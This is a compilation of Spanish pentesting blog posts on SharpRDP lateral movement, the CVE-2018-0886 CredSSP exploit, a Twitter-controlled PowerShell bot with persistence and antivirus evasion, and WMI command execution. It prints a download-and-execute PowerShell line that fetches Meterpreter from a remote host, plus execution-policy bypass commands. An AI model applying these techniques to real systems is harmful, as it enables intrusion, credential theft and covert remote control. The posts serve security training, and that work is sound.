SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

El movimiento lateral es algo que siempre interesa a un pentester y a un equipo de Red Team. Los investigadores buscan nuevas técnicas y nuevas formas de hacerlo. Se puede estar al día en algunos recursos como el blog de SpecterOps o en iread.team. Pero sobretodo, lo más interesante es estudiar y poner en práctica en tu propio laboratorio, mirar qué ocurre por debajo, cómo funciona la técnica y cuáles son las detecciones y mitigaciones.

Figura 1: SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

Como dice el autor de SharpRDP, no es una nueva técnica lo que se va a mostrar aquí, pero si es otra forma de hacer movimiento lateral, y en este caso a través del uso del escritorio remoto o RDP (Remote Desktop Protocol). La idea que hay detrás de SharpRDP es llevar a cabo un movimiento lateral a través de un canal C2 (Command&Control) existente.

Figura 2: SharpRDP en GitHub

Esto es interesante pero, ¿cómo llevarlo a cabo? La explicación que da el investigador 0xthirteen, autor de la herramienta SharpRDP, que se puede descargar desde el Github de la aplicación, es magnífica, ya que se explica cómo utiliza una DLL (Dynamic-Linked Library)  del sistema para hacer la ejecución de comandos remotos a través de la autenticación en el sistema.

¿Cómo funciona?

El sistema operativo Microsoft Windows dispone de una DLL llamada mstscax.dll. Esta DLL da acceso a las acciones que se pueden realizar a través del RDP. Esta DLL es utilizada por, seguramente, casi todos los clientes de RDP. Por ejemplo, Remote Desktop Connection, que tantas veces se usa en el Hacking de Windows para atacar redes de sistemas Microsoft, hace uso de esta librería.

Figura 3: Hacking Windows "Ataques a sistemas y redes Microsoft"

Esta DLL en concreto es una biblioteca ActiveX COM para Terminal Services. Como dice 0xthirteen, esto puede ser utilizado para generar una pequeña aplicación de consola que lleve a cabo la ejecución de comandos remotos de forma autenticada a través del protocolo RDP sin que se tenga que ejecutar un cliente GUI o un Proxy SOCKS.

Figura 4: Ejecución de comandos sin GUI vía SharpRDP

El proyecto SharpRDP es una pequeña herramienta de consola .NET, la cual puede ser utilizada, y utilizaremos, para realizar este movimiento lateral. En la Figura 4, tienes la forma de usar la herramienta.

¿Tiene alguna limitación?

La verdad es que sí y no. Vamos a explicarlo. La herramienta puede utilizar credenciales en texto plano para su autenticación contra la máquina remota. Esto será algo más o menos normal o la situación normal. Puede ser que encontremos que el host remoto tenga activado el modo de administración restringido, el cual se puede visualizar en la siguiente ruta del registro y con la siguiente clave.

HKLM\System\CurrentControlSet\Control\Lsa 

DisableRestrictedAdmin = 0

Si esto es así, se podrá utilizar SharpRDP en el mismo contexto del usuario actual y no hará falta introducir credenciales en texto plano, y esta máquina será perfecta para movernos lateralmente por la empresa en un Ethical Hacking.

Figura 5: Manual de Ethical Hacking

Vamos a mostrar un ejemplo de la ejecución básica de SharpRDP. Se recomienda echar un ojo al "usage" de la herramienta, porque tiene varias opciones interesantes. Lo primero es utilizar la autenticación RDP desde la consola para ejecutar, por ejemplo, una calculadora sobre la máquina remota.

Figura 6: Petición de calc.exe vía SharpRDP

Como se puede ver en la siguiente imagen siguiente, se obtiene una calculadora. Si la sesión de usuario no está creada, se crea y se ejecuta el código. Si la sesión está creada, el usuario es expulsado de la sesión y se ejecuta el código.

Figura 7: Ejecución de calc.exe remoamente

Hay que decir que SharpRDP lo estamos ejecutando desde una máquina con Windows 10. Hay que indicar también que vemos la posibilidad sencilla de ejecutar instrucciones que nos devuelvan una sesión, por ejemplo, de Meterpreter de nuestro querido Metasploit o, ¿por qué no? una iBombshell remota.

Figura 8: Libro de Hacking con Metasploit: Advanced Pentesting
de Borja Merino y Pablo González

A continuación se puede visualizar la instrucción que queremos ejecutar en remoto: iex(new-object net.webclient).downloadstring(‘http://[ip]:[port]/’). Es decir, se ejecuta una consola Powershell y ésta genera un objeto de tipo net.webclient que se conectará una dirección y un puerto.

Figura 9: Ejecución remota de PowerShell descargando Meterpreter remotamente

¿Qué hay en esa dirección IP y ese puerto? Pues un Meterpreter que servimos con el módulo exploit/multi/script/web_delivery.

Figura 10: Meterpreter conseguido vía uso de movimiento lateral RDP

Tras unos segundos de tensión, se obtiene la sesión a través del módulo web_delivery de Metasploit para continuar con nuestro trabajo.

Otras situaciones que no maneja SharpRDP

Existen algunas excepciones que nos podemos encontrar con SharpRDP y que tampoco maneja bien, por ejemplo:

• Autenticación multifactorial: No se maneja la autenticación MFA, por lo que se desconectará SharpRDP. 

• Mover archivos: SharpRDP no tiene la posibilidad o capacidad de mover archivos sobre el protocolo RDP.

Una técnica interesante y una herramienta interesante, y bastante moderna como se puede ver en el Github, apenas tiene un mes. Una solución interesante para llevar en la mochila del pentester.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 11: Contactar con Pablo González

Patch or Die: CVE-2018-0886 Un RCE para Windows

Sin duda es una de las vulnerabilidades del mes en lo que a sistemas Microsoft se refiere. La vulnerabilidad CVE-2018-0886 permite a un potencial atacante ejecutar código remoto y explotar tanto RDP, el protocolo de escritorio remoto, como WinRM, protocolo para la administración remota de Windows. La vulnerabilidad no es trivial, pero ya existe una prueba de concepto publicada por la empresa Preempt.

Figura 1: Patch or Die: CVE-2018-0886 Un RCE para Windows

La vulnerabilidad de ejecución de código remota o RCE (Remote Code Execution) en el proveedor de credenciales de Windows, también conocido como CredSSP, supone que se pueda retransmitir las credenciales del usuario y utilizarlas para la ejecución de código en el sistema, tal y como explicó Microsoft en su boletín de seguridad.

Figura 2: CVE-2018-0886 en Security TechCenter de Microsoft

CredSSP es un proveedor de autenticación que gestiona las peticiones de autenticación para otras aplicaciones, por lo que, este hecho deja en mal situación a las aplicaciones que utilizar el proveedor. En Exploit-DB se encuentra una guía dónde también se puede encontrar un mirror dónde encontrar la PoC y la información para probarlo.

Figura 3: PoC en Exploit DB

Resumiendo la vulnerabilidad CVE-2018-0886

Microsoft indica que un atacante podría explotar la vulnerabilidad contra, por ejemplo, el escritorio remoto cuando el atacante realizase un esquema de Man in the Middle, típico en los ataques a redes IPv4 & IPv6, interceptando una sesión de RDP. El atacante, con el exploit público en forma de PoC, podría ejecutar código, instalar cualquier tipo de programa, eliminar datos, modificarlos, crear usuarios, etcétera. Al final es un RCE por lo que la criticidad es clara.

Figura 4: Esquema del ataque

El único hecho que puede hacer que disminuya, levemente, la criticidad es el hecho de la necesidad de realizar un Man in the Middle. La gente de Preempt ha publicado un artículo contando en profundidad en qué consiste la vulnerabilidad y cómo se puede llevar a cabo su explotación. Sin duda, un artículo muy interesante que se debe leer.

¿Qué debemos tener claro y qué está fallando?

Debemos crear un certificado digital, una clave pública y una clave privada. El proveedor CredSSP se encarga de retransmitir las credenciales del usuario, en el caso de la utilización del RDP. Es un protocolo sencillo. Los mensajes de Terminal Service denominados TSRequest se transfieren del cliente al servidor y al contrario.

Esos mensajes llevan tokens SPNEGO, que son utilizados para la fase de negociación del protocolo de autenticación. La negociación es transparente para el cliente/servidor que utiliza CredSSP. El protocolo es transmitido a través de la sesión segura, con TLS, que se estableció previamente. El cliente confía en la clave pública del servidor. Es más, cifra y firma bytes del servidor sin ser validada su identidad. Este hecho es la esencia de la vulnerabilidad.

Figura 5: Intercambio de paquetes

Para llevar a cabo su explotación, un atacante establece un servidor no autorizado y usará la clave pública como datos de la aplicación y como una clave RSA válida. Después, reenviará los datos de la aplicación cifrados y firmados al servidor real. Como se puede ver en la imagen del artículo de Preempt, el esquema no es complejo y la esencia de la vulnerabilidad es fácilmente detectable.

Utilizar gen_cmd.py

La primera parte del ataque consiste en generar el fichero PEM necesario para la interacción con el servidor remoto y cumplir con la parte teórica del ataque. Desde el Github se puede descargar.

Figura 6: GitHub con PoC

El uso de la herramienta es sencillo y con la opción –dump se pueden visualizar los detalles del proceso.

Figura 7: Uso de gen_cmd.py

Este proceso puede tardar un poco, debido al proceso con los números primos que es llevado a cabo.

Utilizar rdpy-rdpcredsspmitm.py

Esta herramienta se puede descargar desde un repositorio perteneciente también a Preempt. La herramienta tiene varios parámetros:

• -k. Esta opción marca la clave, tal y como se ve en la imagen. 

• -c. Indica el fichero PEM generado en el paso anterior con la herramienta gen_cmd.py.  

• -l. Si esta opción se indica, se puede configurar un puerto nuevo a la escucha. Si no se pone la opción –l, por defecto el puerto es el 3389, el del RDP. 

• Al final de la instrucción se indica la dirección IP del servidor al que se atacará y se obtendrá la ejecución de código remoto.

Figura 8: Uso de rdpy-rdpcredsspmitm.py

El paper completo de la vulnerabilidad puede leerse en este enlace. El cual os recomendamos que echéis un ojo, ya que permite hacerse una idea de la criticidad y de las posibilidades de explotación. También puedes ver el ataque en video, explicado por la gente de Preempt.


Figura 9: PoC CVE-2018-0886

Actualización disponible

Por último, hablar de la actualización liberada recientemente por Microsoft. No tardes en instalarlo, ya que la vulnerabilidad es crítica, tal y como se puede ver. Además, esta prueba de concepto ya está disponible, por lo que cualquiera puede llevar a cabo el ataque.

La actualización corrige la forma en la que CredSSP valida las solicitudes durante el proceso de autenticación. Estaremos atentos por si salen nuevas pruebas de concepto o algún módulo de Metasploit que simplifique un poco más el proceso.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

PSBot: Dame PowerShell y Moveré el Mundo [2 de 2]

Por resumir la lista de cosas que se pueden hacer en este entorno con el bot que hemos construido en la primera parte de este artículo, es fácil decir que podemos ejecutar cualquier código o cualquier aplicación a través de la PowerShell y de este bot, pero vamos a ilustrar algunas de las acciones más interesantes en un proceso de Ethical Hacking. Con el objeto de poder sacar el máximo partido de este PSBot, lo mejor es poder generar las funciones de payload directamente en tiempo real. Existen algunas funciones que son enormes, por ejemplo las propias de PowerSploit, como Mimikatz o portscan.

Figura 8: Dame PowerShell y moveré el mundo. Ataques que se pueden hacer.

Por otro lado, podemos tener situaciones en las que necesitamos generar el script con un Meterpreter, por ejemplo con SET, por ello necesitamos crear el código casi dinámicamente y descargarlo al bot. A continuación una lista de las funciones que se incorporaron al bot en esta prueba de concepto.

1. Funciones de calibración: Estas funciones fueron creadas para ejecutar pequeñas instrucciones que prueben que el bot está funcionando correctamente. 

2. Identity: Determina qué usuario somos, el hostname del equipo, los privilegios que tenemos en el equipo o si pertenecemos al grupo administradores. Es fundamental conocer dónde está el bot cuando se hace un pentesting. 

3. Subida y descarga de ficheros: La utilización de funciones que transformar los ficheros a base64 permiten subir y descargar estos ficheros. Al final todo se transforma en un flujo en base64, el cual puede ser subido o descargado. Esta es una de las vías que podemos utilizar para colar binarios en la máquina u obtener información de la máquina, quizá algún pdf, docx, etcétera. 

Figura 9: Subida de Ficheros en BASE64

En la imagen anterior se puede ver contenido en base64 el cual es un fichero que al llegar al bot se transforma en el fichero querido. Para ejecutar la función con el bot se invoca load|download|-path [path fichero base64] –pathTarget [path remoto] –ip [dirección IP dónde leer el fichero en base64].

4. Portscan + PtH: Tener la posibilidad de realizar un escáner de puertos desde PowerShell es algo fundamental para un pentesting. Este código está disponible en PowerSploit, y podemos descargarlo a la máquina dónde nos encontremos con nuestro bot. Utilizar técnicas como Pass the Hash para realizar un desplazamiento lateral en el pentest es otra de las técnicas básicas y más necesarias.

La función portscan dispone de diferentes parámetros, se recomienda su lectura. Un posible ejemplo desde nuestro bot sería ejecutar la siguiente instrucción load|portscan|-hosts [red interna] –xmlout [fichero XML con datos]. El escaneo será volcado a un fichero XML con las direcciones IP escaneadas y los puertos abiertos.

Figura 10: Escaneo de puertos con PortScan usando PSBot

Respecto al PtH, podríamos utilizar la función anterior para subir aplicaciones como WCE, y llevar a cabo la modificación de los hashes. Si los hashes actuales son los necesarios para hacer un desplazamiento horizontal o lateral, podríamos directamente ejecutar una función que permita acceder a otros recursos de otras máquinas, por ejemplo y en “windows clásico” net use x: \\[ip]\c$. 

5. Por supuesto, el gran Mimikatz: Mi amigo Carlos García, pentester en Praga, me comentaba cuando vio la charla que Mimikatz era su día a día en los pentest. Por supuesto, Mimikatz no podía faltar. 

Figura 11: Usando Mimikatz desde PSBot

En PowerSploit tenemos disponible una función que hace la implementación de Mimikatz y que podemos utilizar para, si tenemos el privilegio suficiente en la máquina, obtener información sobre qué usuarios y con qué credenciales se loguearon en dicha máquina. 

6. Pon una VPN en tu pentest y haz un MiTM: En un momento dado del pentesting puede ser interesante sacar información hacia el exterior, o hacer que la navegación de una máquina salga por VPN hacia un servidor externo. Esto podemos verlo como MiTM muy especial. 

Figura 12: Código de Payload para hacer una VPN desde PSBot 

La idea surge del módulo de Metasploit implementado por Borja Merino y que estudiándolo podemos ver que genera un profile de VPN y después utiliza rasdial.exe para ejecutar el profile y generar la conexión. En la siguiente imagen se puede ver cómo quedaría la función para que el bot la descargue, la cargue y la ejecute. Hay que tener en cuenta las tablas de enrutamiento, ya que deberíamos hacer que la métrica de dicha conexión sea la menor, para que automáticamente el tráfico salga a través de la VPN. 

Figura 13: Demostración de PSBot para hacer mitm vía VPN

Una vez que se tiene la VPN conectada a través del bot, podemos ver todo el tráfico de la máquina, y por supuesto añadir más técnicas. Podemos concatenar desde la máquina dónde se encuentra el servidor de la VPN un SSL Strip, por lo que podríamos aprovecharnos de sitios que son vulnerables a esta técnica. 

7. Ejecución de shellcode, sí Meterpreter: Existen diversas formas de conseguir ejecutar una Meterpreter con PowerShell. Se puede utilizar la función Invoke-Shellcode que viene incorporada en PowerSploit. En esta ocasión, decidí utilizar una función propia denominada x86_shellcode, la cual dispone en el interior el código que proporciona SET. En la imagen podemos ver un ejemplo. 

Figura 14: Ejecución de un Meterpreter

El escenario es fácil de entender. Si estamos ejecutando el bot remoto le indicamos desde Twitter la instrucción load|x86_shellcode, por lo que nuestro PSBot irá al servidor de funciones para descargar la función x86_shellcode e invocarla desde el ámbito de la máquina. Una vez cargada la función ejecutará el contenido. Como se ha visto antes, el contenido de la función invoca una PowerShell que lanza instrucciones encodeadas, lo cual es nuestra Meterpreter.

Figura 15: Instalación de Meterpreter vía PowerShell

8. No todo es pentesting, reproducción de video: Una de las funciones curiosas que se pueden implementar es, si estamos en el bot remoto, abrir un Internet Explorer y dirigir al navegador a un video de Youtube. Aquí sí que el límite está en vuestra imaginación.

Presentación en Qurtuba Security Conference

Si queréis ver la presentación que se hizo, la hemos subido a Youtube para que podáis ver las demos en real. Aquí la tenéis íntegra.

Figura 16: Conferencia de PSBot de Pablo González

Por último, como moraleja final podemos decir que existen ciertos entornos en los que se realiza un Ethical Hacking en los cuales un pentester puede encontrarse en una situación así, en los que el bloqueo de los interfaces de comandos tradicionales está activo, pero no el de las PowerShells. Conocer y entender cómo funcionan herramientas como PowerShell es algo vital para ciertas circunstancias, como ya explicaban también Juan Garrido "Silverhack" y Chema Alonso en la charla de Bosses love Excel, Hackers Too: "Too many consoles"

Figura 17: Otro pentester feliz por la existencia de la PowerShell

Carlos García comentó que hacía menos de un mes se encontró con un escenario similar, que ya le podía haber dado la charla meses antes. Por lo que se ve, después de la charla se sigue acordando de ella. No tengo mucho más que añadir, el código no se encuentra disponible de momento, pero puede que pronto se encuentre en Github. Lo importante es la idea que queda de esto, y los millones de utilidades que podemos sacarle a PowerShell en un pentesting. Agradecer a Eduardo Sánchez, Miguel Ángel Arroyo y a todo el equipo de Qurtuba Security Congress su hospitalidad y buen hacer en el evento. ¡Edu, dale al play!

Autor: Pablo González Pérez (@pablogonzalezpe)
Project Manager en Eleven Paths y escritor de los libros:
"Metasploit para Pentesters", "Pentesting con PowerShell" y "Ethical Hacking"

PSBot: Dame PowerShell y Moveré el Mundo [1 de 2]

En algunas ocasiones te enfrentas a un entorno en el que no puedes contar con tus herramientas de pentesting y tienes que usar tu imaginación para lograr ejecutar ciertas acciones. En Qurtuba Security Congress tuve el placer de exponer esta charla en la que se mostraba como gracias a herramientas nativas de Microsoft Windows se puede ejecutar cualquier tipo de código, por lo que no echaremos tanto en falta nuestras típicas herramientas de pentesting. El nombre de la charla fue “Give me a PowerShell and I will move your world”.

Figura 1. PSBot: Dame PowerShell y Moveré el Mundo

Analizando algunas charlas sobre PowerShell, conociendo métodos para bypassear las políticas de ejecución de código en PowerShell y trasteando con PowerSploit, llegué a la conclusión de que se podría montar un pequeño bot útil para entornos difíciles, entornos con alta monitorización de elementos de seguridad o entornos a los cuales el bot pudiera acceder, pero no el pentester. El punto de comienzo de este trabajo empezaba en algo muy sencillo tengo acceso, ya sea físico o remoto a un equipo en una auditoria, pero no tengo mi caja de herramientas.

¿Qué haré sin un nmap?¿Qué haré sin mi Foca?¿Puedo realizar un PtH sin mi WCE?¿Podría ejecutar código en esa máquina de algún modo para conseguir hacer el Ethical Hacking? La única, y más que suficiente, herramienta de la que dispongo de forma nativa en los sistemas Microsoft es PowerShell. Con esta herramienta se podrían hacer muchas cosas, e interactuar con gran cantidad de productos de Microsoft, por lo que manos a la obra.

Figura 2: Script de PowerShell para cifrar archivos usado por un Ransomware

Los malos también han utilizado PowerShell en el pasado para hacer hasta ransomware, así que ¿por qué no iba a poder usarlo yo para hacer pentesting? Empecé a trabajar en un pequeño esqueleto de un bot con el fin de ver como evadir las políticas de ejecución de scripts que PowerShell trae consigo. Por cierto, a mi bot lo llamé… PSBot. Además, un bot escrito en PowerShell sería potentísimo sobre todo para entornos en los que nos encontramos con una máquina Citrix o Terminal Services en la que se consigue llegar a la PowerShell.

El primer paso: ¿Puedo ejecutar código local/remoto?

Algo está claro, y es que si tecleo el código sobre la PowerShell, independientemente de las políticas de ejecución que estén configuradas podré crear variables, funciones y lanzar comandos, siempre y cuando tenga acceso a la terminal. ¿Qué son las políticas de ejecución de PowerShell? Es un mecanismo con el que PowerShell puede decidir si ejecuta un script o en qué condiciones éste se ejecutará. De forma resumida podemos verlo como una medida de seguridad para que las aplicaciones o un proceso automatizado no puedan ejecutar scripts. Existen diferentes valores para las políticas de ejecución, algunas de ellas son:

- Restricted: Valor por defecto configurado en PowerShell. No permite la ejecución de scripts de PowerShell. 

- Unrestricted: Es el valor contrario al anterior, y permite ejecutar cualquier script a través del proceso de PowerShell. 

- Signed: Con este valor, solo se ejecutarán los scripts que se encuentren firmados por una entidad reconocida en el equipo. 

- RemoteSigned: Con este valor se podrán ejecutar los scripts que estén escritos o implementados en el propio equipo. Sin embargo, los scripts obtenido de ubicaciones exteriores solo se podrán ejecutar si se encuentran firmados y son validados.

Es importante que PSBot pueda ejecutar código saltándose estas políticas, y será extremadamente fácil si tenemos acceso local, ya que en el mismo prompt podremos escribirlo, pero estando en remoto podríamos tener alguna complicación más.

Por último, ¿cómo puedo consultar qué política se encuentra configurada en el equipo? Existen diversos comandos o cmdlets que permiten configurar en PowerShell las políticas de ejecución, por ejemplo Get-ExecutionPolicy permite obtener la política implementada. Por otro lado, con el cmdlet Set-ExecutionPolicy [nombre de política] podemos cambiar la política, siempre y cuando tengamos privilegios para ello.

Siete formas de bypassear las políticas de ejecución

Existen muchas más formas de bypassear la política, y es que es la propia Microsoft la que en algunos casos te da los parámetros necesarios para hacerlo. En nuestro caso es algo importante ya que será la base para poder ejecutar código en un entorno restringido a través del PSBot. A continuación se listan siete formas de llevar a cabo este bypass, algunas más trabajadas otras más sencillas, y alguna obvia.

1. Copy and paste: La más sencilla de todas, teniendo acceso físico a la máquina, ya sea en un Punto de Información, un servidor Citrix, un Kiosco Interactivo o un servidor Terminal Services, basta con copiar y pegar. Es algo lógico, se podrá bloquear la ejecución de un script, pero no el copiar el contenido y pegarlo en la línea de comandos. 

2. Get-Content [script.ps1] | powershell.exe –nop -: Se le pasa a una PowerShell el contenido de un script, el cual al ser recibido por el otro proceso lo ejecutará. 

3. Powershell –command “write-host ‘mi bypass’”: Directamente podemos pasarle al binario de PowerShell las instrucciones a ejecutar. 

4. Powershell –noprofile –c “iex(New-Object Net.WebClient).DownloadString(‘direcciónURL’)”. 5. Invoke-command –scriptblock {write-host “mi bypass”}:. De Nuevo, directamente se escribe el código y se invoca con el commando Invoke-Command. 

6. $contenido = “write-host ‘mi bypass’”; El contenido que se quiere ejecutar se almacena en una variable. Después se transforma a bytes el contenido almacenado en la variable. 

$bytes = [System.Text.Encoding]::Unicode.GetBytes($contenido); Por último, se pasa a base64 $encoded = [Convert]::ToBase64String($bytes). Una vez lo tenemos en base64 podemos ejecutarlo con una PowerShell a través del parámetro –encoded. 

7. Powershell –ExecutionPolicy Bypass –File

Planificar ciertas acciones

El entorno puede ser muy dispar de una auditoria a otra, lo que está claro es que no dispondremos de herramientas, solo de una PowerShell y nuestra imaginación. La idea es tener claras las primeras acciones a realizar con nuestra pequeña implementación del bot y es un reconocimiento de dónde estemos ejecutándolo.

Podemos partir de la posibilidad de introducir un fichero de texto el cual contiene el pequeño código de nuestro bot. La idea sería que este bot pueda ejecutar cualquier tipo de cosa. El reconocimiento tanto local del equipo, como de la red interna dónde se encuentra el bot es algo fundamental y que debemos contemplar. Algunas de las cosas que debemos tener en cuenta son:

- La ejecución de código: como se ha mencionado anteriormente.
- La no generación de demasiado tráfico: Pasar desapercibido es importante en un entorno así.
- Posibilidad de utilización de Proxies: ya sea porque la empresa lo utiliza o porque queremos hacerlo de forma remota.
- Conseguir evitar whitelisting de aplicaciones: Si conseguimos ejecutar código a través del bot y tenemos cierta comunicación fluida si estamos en remoto, podremos lograr saltarnos las listas blancas de aplicaciones, dónde por supuesto PowerShell se encontrará.
- Evasión de AV: Este es un punto fundamental. Lo mismo ocurrirá con otros elementos de seguridad, tales como IDS o IPS.

¿Conseguiremos todo esto con nuestro PSBot? Pues pasito a pasito lo iremos construyendo e iremos viendo que es posible.

Twitter como panel de órdenes (o Pastebin, o Facebook,  o…)

En el caso de que nuestro bot sea controlado de forma remota, podemos decirle que las órdenes las recoja de Twitter. Existe un módulo para PowerShell que dispone de diferentes funciones que configuran y conectan con la API de Twitter. La idea sería que el bot se conecte a Twitter y descargue los tweets de alguna cuenta configurada. De esta forma podría analizar y procesar la información del tweet, que tendrán una codificación con algún tipo de lógica. Incluso, se podría hacer que nuestro bot descargase las funciones desde los tweets encodeadas en base64, como ha hecho ya el malware en el pasado.

También podríamos hacer que las ejecuciones de los comandos y funciones fueran devueltas por mensaje directo a una cuenta de Twitter. Esto daría mucho juego y haría que las conexiones, a priori, pudieran pasar más inadvertidas que si mandásemos la información a un servidor concreto.

Tenemos que tener claro que podemos utilizar otros servicios para realizar la misma función, como por ejemplo Pastebin o el propio Facebook. Esto nos ayudará a ver que existen diversas vías de dónde recibir comandos y funciones, por ejemplo, podríamos indicar al bot que recibiese los comandos de Twitter y las funciones fueran cargadas a posteriori por Pastebin.

La receta: Objetivo minimizar código.

El objetivo es lograr tener el menor código posible en el fichero de texto que introducimos en el equipo y pegamos en la PowerShell. El bot tiene una serie de partes diferenciadas y que implementa. A continuación una lista de resumen:

1. Comprobación de identidad y privilegios. 

2. Creación de la función loader con la que se cargarán las funciones externas: Tanto si estamos en local como en remoto, el código que queremos ejecutar vendrá del exterior. Como se mencionó anteriormente podría venir de redes sociales, o por ejemplo un servidor web preparado para distribuir dicho código. Esta opción sería utilizada para simplificar el bot.

Figura 3: Loader de PSBot

3. Carga del fichero account.txt de forma externa: Este fichero presenta un gran número de funciones necesarias para el funcionamiento básico del bot. Hay que destacar que este fichero de texto contiene las funciones correspondientes a la configuración y uso de Twitter, la función que genera persistencia del bot, la función de actualización de fecha de lecturas de tuits, etcétera. Esta función es vital, sobretodo si trabajamos con el bot en remoto.

Figura 4: Fichero accounts.txt

4. Crear persistencia: Esto puede sonar extraño, pero es importante dotar al bot de cierta persistencia en algunos casos. Puede que hoy tengamos acceso a la máquina, pero puede que mañana no, y sigamos realizando el pentest. Por esta razón, puede ser útil dotar al bot de persistencia en el sistema.

Figura 5: Gestión de la persistencia

5. Crear conexión con Twitter.

6. Lectura de tweets. 

Figura 6: Lectura de tweets en PSBot

7. Protocolo para los comandos: Los comandos serán leídos con el siguiente formado [comando]|[función]|[parámetros]. Como puede verse se separará entre pipes, ya que el bot lo troceará por los pipes. Por ejemplo, load|portscan|-hosts 10.0.0.0/24. El bot leerá de twitter la instrucción y al trocear entenderá que tiene que cargar la función portscan remotamente y la ejecutará en local pasándole los argumentos –hosts 10.0.0.0/24.

8. Aleatoriedad en las peticiones: Si el bot es remoto podemos implementarle una función que le aporte aleatoriedad a cuando realizar las peticiones. La función random-time es insertada en el bot de manera dinámica a través de la descarga del paquete de funciones account, el cual se comentó anteriormente. Si el bot es local, es decir lo ejecutamos nosotros desde una línea de comandos en físico, no necesitaríamos esta aleatoriedad. 

9. Update-Persistence: Existe una función la cual, si hemos ejecutado la persistencia, nos permite actualizar el script en caliente. Este script podría modificar el comportamiento total del script de manera transparente o actualizar la versión del script en un momento dado. Un ejemplo de este tipo de función se puede ver en la imagen.

Figura 7: Update Persistence

10. Ejecutar otras funciones: Funciones ya hechas con el mecanismo implementado, como por ejemplo las funciones de pentesting implementadas en PowerSploit.

Una vez tenemos la receta preparada e implementada, tenemos nuestro PSBot preparado para nuestro ethical hacking. En esta prueba de concepto el código no ocupó más de 100 líneas en el caso del bot remoto, siendo de 70 en el caso del bot local y teniendo una tercera versión de bot local minimalista con 25 líneas de código y totalmente funcional. Ya estamos listos para los ataques que puedes ver en la segunda parte de este artículo.

Autor: Pablo González Pérez (@pablogonzalezpe)
Project Manager en Eleven Paths y escritor de los libros:
"Metasploit para Pentesters", "Pentesting con PowerShell" y "Ethical Hacking"

Atacar un servidor Windows usando llamadas WMI

Los sistemas operativos Windows están creados con un conjunto de clases e instancias de estas en objetos que permiten controlar las funciones de toda la plataforma. Este tipo de componentes tienen una interfaz de operación implementada siguiendo los estándares de Web-Based Enterprise Management y Common Information Model y se los conoce como WMI - Windows Management Instrumentation -. Todo esto lo que abre es la puerta para que los objetos que dan vida a los sistemas operativos de Microsoft Windows puedan ser utilizados mediante este inferfaz WMI desde aplicaciones hechas a mano o herramientas del sistema que lo utilicen.

Figura 1: Atacar un servidor Windows usando llamadas WMI

Esto no es nada nuevo, pero en un entorno Citrix o Terminal Services, en el que se quieren ejecutar comandos fuera de la aplicación publicada en un Windows Server - es decir, hacer un jailbreak a la publicación -, el poder hacer uso de los componentes WMI puede resolver el problema ya que se tendría acceso a todo lo que ese usuario pudiera hacer en ese sistema operativo en concreto.

Figura 2: Herramienta WBEMTEST

Para conseguir este objetivo, hay una aplicación de test que permite hacer uso del interfaz WMI de los objetos del sistema operativo manualmente y que está en todos los sistemas operativos Windows. Se llama WBEMTEST (Web-Based Enterprise Management Test) y se encuentra en la ruta %WINDIR%/System32/wbem/wbemtest.exe. Desde esta herramienta se pueden cargar todos los interfaces de todos los objetos creados en este contexto en el que se está trabajando, configurar los parámetros y hacer las llamadas de los métodos.

Figura 3: Conexión a un contexto de trabajo.
root/cimv2 es en el que se encuentran la mayoría de los objetos del sistema
(El contexto de los objetos está en la documentación)

Si se consigue acceder a esta herramienta, se puede convertir en una de esas consolas extras que un administrador de un entorno Citrix o Terminal Services debería prohibir, pues como vamos a ver ahora, si un atacante consigue llegar a ella, podrá ejecutar cualquier comando en el sistema operativo. Para ello, el atacante debe conectase a un contexto de trabajo con el usuario que esté conectado actualmente.

Figura 4: Por cada clase del sistema se documenta el contexto

Una vez conectado al contexto podrá conseguir hacer uso de las funciones de los componentes del sistema operativo llamando a los métodos que tienen todos los objetos. La lista completo de clases y métodos está documenta en MSDN, y como se puede ver, por cada clase tendremos información del contexto en el que se encuentra, las versiones de los sistemas operativos en que se encuentra implementada y la lista de métodos que se pueden invocar.

Figura 5: Métodos de la clase Win32_OperatingSystem

Con cada clase podremos hacer uso del interfaz WMI para obtener una lista concreta de funciones, que están descritas en la documentación. Por ejemplo, si se desea reiniciar o apagar un servidor se puede hacer mediante la clase Win32_OperatingSystem que oferta estos métodos.

Figura 6: Configurando una llamada a un método de Win32_Process

En nuestro caso concreto vamos a hacer uso de la clase Win32_Process que entre otros métodos permite crear o matar procesos para conseguir la creación de uno nuevo a partir la ejecución de un comando en el sistema. Es decir, el objetivo será abrir una cmd.exe a usando el método create del objeto Win32_Process haciendo uso del inferfaz de llamadas WMI. 

Figura 7: Configuración de la llamada al método create del objeto Win32_Process

Cuando se selecciona el método create, ya tenemos acceso a la lista de parámetros a configurar, en este ejemplo vamos a usar el parámetro de llamada CommandLine.

Figura 8: Configuración de una llamada al método create

Se configura el valor cmd.exe en él, para que se cree un proceso con la ejecución de ese comando y le damos al botón de ejecutar.

Figura 9: Configuración del parámetro CommandLine con el nombre del programa a ejecutar

Como se puede ver, al final se consigue la ejecución de la consola en el sistema operativo.

Figura 10: Se ejecuta la llamada VMI al método create del objeto
Win32_Process para conseguir la ejecución de cmd.exe

Es un ejemplo sencillo, pero haciendo uso de este interfaz WMI se podría sacar información acerca de todo el sistema operativo, el dominio en el que se encuentra, listas de permisos, carpetas compartidas, etcétera, y será especialmente útil cuando estemos haciendo auditorías de seguridad en un entorno Citrix o Terminal Services con un sistema operativo Windows Fortificado en el que las consolas habituales como cmd, PowerShell, wmic, etcétera estén capadas, ya que se seguirá teniendo acceso a todo el sistema operativo.

Saludos Malignos!

Connection String Parameter Pollution en aplicaciones Windows publicadas en Citrix o Terminal Services

